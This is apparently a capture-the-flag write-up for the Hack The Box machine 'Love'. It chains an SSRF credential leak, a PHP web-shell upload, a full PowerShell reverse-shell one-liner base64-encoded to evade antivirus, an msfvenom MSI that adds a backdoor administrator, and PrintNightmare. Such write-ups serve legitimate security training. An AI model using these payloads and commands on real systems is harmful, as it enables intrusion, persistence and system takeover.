Love from Hack The Box hosts a voting system application and an online file scanner. The file scanner is vulnerable to SSRF, which can be exploited to leak a set of credentials that can be used to login into the voting app. The photo upload functionality can be leveraged to drop a web shell, which is then used to gain interactive shell access on the machine. Enumeration of the system reveals that AlwaysInstallElevated is enabled, and this can be leveraged to install a malicious .msi installer and get SYSTEM access.

Skills Learned

  • SSRF
  • Abusing Windows AlwaysInstallElevated
  • (Alternative) PrintNightmare LPE

Tools

  • Nmap
  • Burp Suite
  • WinPEAS
  • msfvenom

Reconnaissance

Nmap

A full TCP scan scan discovers a bunch of open ports.

→ kali@kali «love» «10.10.14.51» 
$ fscan 10.10.10.239 love
nmap -p- --min-rate=1000 10.10.10.239 | grep '^[0-9]' | cut -d '/' -f1 | tr '\n' ',' | sed 's/,$//'
nmap -p80,135,139,443,445,3306,5000,5040,5985,5986,7680,47001,49664,49665,49666,49667,49668,49669,49670 -sC -sV -oA nmap/10-tcp-allport-love 10.10.10.239
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-08 11:29 EDT
Nmap scan report for 10.10.10.239
Host is up (0.087s latency).

PORT      STATE SERVICE      VERSION
80/tcp    open  http         Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27)
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_http-title: Voting System using PHP
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
443/tcp   open  ssl/http     Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
| ssl-cert: Subject: commonName=staging.love.htb/organizationName=ValentineCorp/stateOrProvinceName=m/countryName=in
| Not valid before: 2021-01-18T14:00:16
|_Not valid after:  2022-01-18T14:00:16
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
445/tcp   open  microsoft-ds Windows 10 Pro 19042 microsoft-ds (workgroup: WORKGROUP)
3306/tcp  open  mysql?
| fingerprint-strings: 
|   GetRequest, HTTPOptions, Help, JavaRMI, Kerberos, NULL, NotesRPC, RPCCheck, RTSPRequest, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServerCookie, WMSRequest, oracle-tns: 
|_    Host '10.10.14.51' is not allowed to connect to this MariaDB server
5000/tcp  open  http         Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_http-title: 403 Forbidden
5040/tcp  open  unknown
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
5986/tcp  open  ssl/http     Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
| ssl-cert: Subject: commonName=LOVE
| Subject Alternative Name: DNS:LOVE, DNS:Love
| Not valid before: 2021-04-11T14:39:19
|_Not valid after:  2024-04-10T14:39:19
|_ssl-date: 2021-08-08T15:53:52+00:00; +21m37s from scanner time.
| tls-alpn: 
|_  http/1.1
7680/tcp  open  pando-pub?
47001/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc        Microsoft Windows RPC
49665/tcp open  msrpc        Microsoft Windows RPC
49666/tcp open  msrpc        Microsoft Windows RPC
49667/tcp open  msrpc        Microsoft Windows RPC
49668/tcp open  msrpc        Microsoft Windows RPC
49669/tcp open  msrpc        Microsoft Windows RPC
49670/tcp open  msrpc        Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3306-TCP:V=7.91%I=7%D=8/8%Time=610FF878%P=x86_64-pc-linux-gnu%r(NUL
SF:L,4A,"F\0\0\x01\xffj\x04Host\x20'10\.10\.14\.51'\x20is\x20not\x20allowe
...[SNIP]...
Service Info: Hosts: www.example.com, LOVE, www.love.htb; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 2h06m37s, deviation: 3h30m01s, median: 21m36s
| smb-os-discovery: 
|   OS: Windows 10 Pro 19042 (Windows 10 Pro 6.3)
|   OS CPE: cpe:/o:microsoft:windows_10::-
|   Computer name: Love
|   NetBIOS computer name: LOVE\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2021-08-08T08:53:41-07:00
| smb-security-mode: 
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2021-08-08T15:53:43
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 137.03 seconds

Most notable services are:

  • An Apache web server that handles 3 websites on port 80, 443, and 5000 (this one is forbidden).
  • SMB on port 445, good start.
  • A MySQL server on port 3306, I will stay away from this for now because IP block
  • WinRM on 5985/6, I will use this for lateral movement if I have creds.

Seeing Apache and MySQL on a Windows host, I can assume that this machine uses XAMPP.

Nmap also identified two hostnames: www.love.htb and staging.love.htb. I will add these to my /etc/hosts.

→ root@kali «love» «10.10.14.51» 
$ sudo echo 'www.love.htb staging.love.htb' >> /etc/hosts

Enumeration

TCP 445 - SMB

Anonymous login is not allowed here, I will re-visit this later when I have creds.

→ root@kali «love» «10.10.14.51» 
$ smbclient -N -L //10.10.10.239 
session setup failed: NT_STATUS_ACCESS_DENIED

TCP 5000

Visiting this port results in a 403 Forbidden message error.

image-20210809005411183

TCP 80 - Website

Visiting port 80 with the IP or the hostname returns the same content.

→ kali@kali «love» «10.10.14.51» 
$ for i in 10.10.10.239 www.love.htb; do echo -n "$i "; curl -s $i | wc -c; done                      
10.10.10.239 4388
www.love.htb 4388

On the browser, the site displays a login form of a Voting System app.

image-20210809003519382

Trying some random IDs and common passwords didn’t work here.

image-20210809004024045

Gobuster

Gobuster discovers a bunch of directories, but one that stands out is /admin.

→ kali@kali «love» «10.10.14.51» 
$ gobuster dir -f -u http://www.love.htb/ -w /opt/SecLists/Discovery/Web-Content/raft-small-directories-lowercase.txt -x txt,php -o gobuster/gobuster-S-80 -t 40                                                                                                                                                           
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://www.love.htb/
[+] Method:                  GET
[+] Threads:                 40
[+] Wordlist:                /opt/SecLists/Discovery/Web-Content/raft-small-directories-lowercase.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              txt,php
[+] Add Slash:               true
[+] Timeout:                 10s
===============================================================
2021/08/08 13:16:14 Starting gobuster in directory enumeration mode
===============================================================
/cgi-bin/             (Status: 403) [Size: 302]
/admin/               (Status: 200) [Size: 6198]
/includes/            (Status: 200) [Size: 2261]
/plugins/             (Status: 200) [Size: 2490]
/images/              (Status: 200) [Size: 2719]
/logout.php           (Status: 302) [Size: 0] [--> index.php]
/login.php            (Status: 302) [Size: 0] [--> index.php]
/webalizer/           (Status: 403) [Size: 302]              
/home.php             (Status: 302) [Size: 0] [--> index.php]
/index.php            (Status: 200) [Size: 4388]             
/phpmyadmin/          (Status: 403) [Size: 302]              
/icons/               (Status: 200) [Size: 74798]            
/preview.php          (Status: 302) [Size: 0] [--> index.php]
/examples/            (Status: 503) [Size: 402]              
/dist/                (Status: 200) [Size: 1389]             
/tcpdf/               (Status: 200) [Size: 2710]             
/licenses/            (Status: 403) [Size: 421]              
/server-status/       (Status: 403) [Size: 421]              
/con.php              (Status: 403) [Size: 302]              
/con/                 (Status: 403) [Size: 302]              
/con.txt              (Status: 403) [Size: 302]              
/aux/                 (Status: 403) [Size: 302]              
/aux.php              (Status: 403) [Size: 302]              
/aux.txt              (Status: 403) [Size: 302]              
                                                             
===============================================================
2021/08/08 13:18:01 Finished
===============================================================

/admin

When I visit /admin, the page presents the same login form. But this time, instead of voter’s ID, it uses username.

image-20210809003454272

Submitting several credentials only reveals that admin is a valid username here.

TCP 80 - staging.love.htb

On staging.love.htb, the site provides an online file scanner.

image-20210809010051350

The “Demo” menu points to /beta.php, and it allows visitor to insert a URL there.

image-20210809010747052

While having my netcat listener in listening mode, I entered my HTB IP there, and my listener received the following request.

→ kali@kali «love» «10.10.14.51» 
$ nc -nvlp 80
listening on [any] 80 ...
connect to [10.10.14.51] from (UNKNOWN) [10.10.10.239] 49806
GET /iamf HTTP/1.1
Host: 10.10.14.51
Accept: */*

Based on the received request, I’m guessing the request was crafted using PHP curl. If the user agent contains “WindowsPowerShell”, I’m going to use Responder to see if I can steal the NTLMv2 response.

Playing a bit with it reveals that it can render HTML.

image-20210809014613874

The key take away from here is that staging.love.htb/beta.php can make a HTTP request.

TCP 443 - Website

On HTTPS, the SSL certificate leaks an email address and a potential username: roy@love.htb.

image-20210809005318725

And both the HTTPS versions of www.love.htb and staging.love.htb return the Forbidden message error.

image-20210809012934262

image-20210809012945191

Foothold

Shell as phoebe

SSRF

The behavior of the file scanner on staging.love.htb making a HTTP (not always) request can be abused to access internal resources that previously were inaccessible due to IP restrictions. This attack is often referred as Server-Side Request Forgery (SSRF).

When I submit file:///C:/xampp/apache/conf/extra/httpd-vhosts.conf, it returns the virtual host configuration file.

image-20210809033303050

The string “C:/xampp/htdocs/passwordmanager” immediately draws my attention. Based on that config, the service on port 5000 is a password manager, and the access is limited to only allow connections from 127.0.0.1.

Assuming there is an index file, I try to submit file:///C:/xampp/htdocs/passwordmanager/index.php , and the file is exist.

image-20210809034759102

Now if I submit file:///C:/xampp/htdocs/passwordmanager/creds.txt, it returns the following:

image-20210809034943436

Alternatively, I can just visit http://127.0.0.1:5000/ and the file scanner will render the page of password manager, in which contains the admin credentials.

image-20210809033828889

I can use that creds to access the admin dashboard.

image-20210809034300363

PHP webshell

On admin/voters.php, there is a photo upload feature.

image-20210809035502402

I will intercept the request to modify the photo section to a PHP web shell and then send it afterwards. It gets uploaded smoothly.

image-20210809040225250

When I reload the page, I see the voter I added is there with broken photo, and that because it loads my PHP web shell as image.

image-20210809041027772

The uploaded web shell is accessible at http://www.love.htb/images/shell.php, and now I have code execution as phoebe.

image-20210809040810276

Interactive shell access

To get an interactive shell I will use a PowerShell one-liner reverse shell.

→ kali@kali «love» «10.10.14.51» 
$ cat exploits/revshell.ps1
$client = New-Object System.Net.Sockets.TCPClient('10.10.14.51',53);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

Because it is a Windows machine, I will encoded it with base64 to avoid AV.

→ kali@kali «love» «10.10.14.51» 
$ cat exploits/revshell.ps1| iconv -t UTF-16LE| base64 -w0
JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACcAMQAwAC4AMQAwAC4AMQA0AC4ANQAxACcALAA1ADMAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACcAUABTACAAJwAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACcAPgAgACcAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkACgA=

I will setup a listener and leverage the web shell to execute my payload.

http://www.love.htb/images/shell.php?f=powershell.exe -enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACcAMQAwAC4AMQAwAC4AMQA0AC4ANQAxACcALAA1ADMAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACcAUABTACAAJwAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACcAPgAgACcAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkACgA=

On my listener.

→ kali@kali «love» «10.10.14.51» 
$ rlwrap nc -nvlp 53
listening on [any] 53 ...
connect to [10.10.14.51] from (UNKNOWN) [10.10.10.239] 49950

PS C:\xampp\htdocs\omrs\images>

The user flag is done here.

PS C:\Users\Phoebe\Desktop> dir


    Directory: C:\Users\Phoebe\Desktop


Mode                 LastWriteTime         Length Name                                                                 
----                 -------------         ------ ----                                                                 
-ar---          8/8/2021   3:50 AM             34 user.txt                                                             


PS C:\Users\Phoebe\Desktop> type user.txt
65a5...[SNIP]...

The flag also accessible using SSRF.

image-20210809043334065

Privilege Escalation

Shell as SYSTEM

Enumeration

WinPEAS finds that AlwaysInstallElevated is set to 1. This means installation of an app always runs in elevated mode (SYSTEM), and it can be abused to install a malicious .msi package.

[+] Checking AlwaysInstallElevated
   [?]  https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#alwaysinstallelevated
    AlwaysInstallElevated set to 1 in HKLM!
    AlwaysInstallElevated set to 1 in HKCU!

Exploitation - Malicious .msi Installer

I will generate a malicious .msi that will add a user with administrative access using msfvenom

→ kali@kali «exploits» «10.10.14.51» 
$ msfvenom -p windows/adduser USER=iamf PASS=P@ssword123! -f msi -o iamf.msi
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 270 bytes
Final size of msi file: 159744 bytes
Saved as: iamf.msi

I will host the .msi using Python web server.

On Love, I will grab the msi and install the package immediately.

PS C:\Users\Public> curl.exe -O 10.10.14.53/iamf.msi
PS C:\Users\Public> msiexec /quiet /qn /i iamf.msi
PS C:\Users\Public> net user

User accounts for \\LOVE                                                                                                                                                   
                                                                                                                                                                           
-------------------------------------------------------------------------------                                                                                            
Administrator            DefaultAccount           Guest                                                                                                                    
iamf                     Phoebe                   WDAGUtilityAccount                                                                                                       
The command completed successfully.                                                                                                                                        

PS C:\Users\Public> 

Psexec - SYSTEM

I can login using my backdoor user with help of psexec.py.

→ root@kali «exploits» «10.10.14.49» 
$ psexec.py love/iamf:'P@ssword123!'@10.10.10.239                                            
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

[*] Requesting shares on 10.10.10.239.....
[*] Found writable share ADMIN$
[*] Uploading file VlzRTIEE.exe
[*] Opening SVCManager on 10.10.10.239.....
[*] Creating service lRbn on 10.10.10.239.....
[*] Starting service lRbn.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.19042.867]
(c) 2020 Microsoft Corporation. All rights reserved.

C:\WINDOWS\system32>whoami
nt authority\system
C:\WINDOWS\system32>hostname
love

(Alternative) PrintNightmare

Love also vulnerable to LPE PrintNightmare.

PS C:\Users\Phoebe\Downloads> Get-Service -name spooler

Status   Name               DisplayName
------   ----               -----------
Running  spooler            Print Spooler
PS C:\Users\Phoebe\Downloads> curl.exe -O 10.10.14.51/CVE-2021-1675.ps1
PS C:\Users\Phoebe\Downloads> Import-Module .\CVE-2021-1675.ps1
PS C:\Users\Phoebe\Downloads> Invoke-Nightmare
PS C:\Users\Phoebe\Downloads> net user

User accounts for \\LOVE

-------------------------------------------------------------------------------
adm1n                    Administrator            DefaultAccount           
Guest                    iamf                     Phoebe                   
WDAGUtilityAccount       
The command completed successfully.

I can login via WinRM.

→ kali@kali «love» «10.10.14.51» 
$ evil-winrm -i 10.10.10.239 -u 'adm1n' -p'P@ssw0rd'

Evil-WinRM shell v2.4

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\adm1n\Documents> hostname
Love

References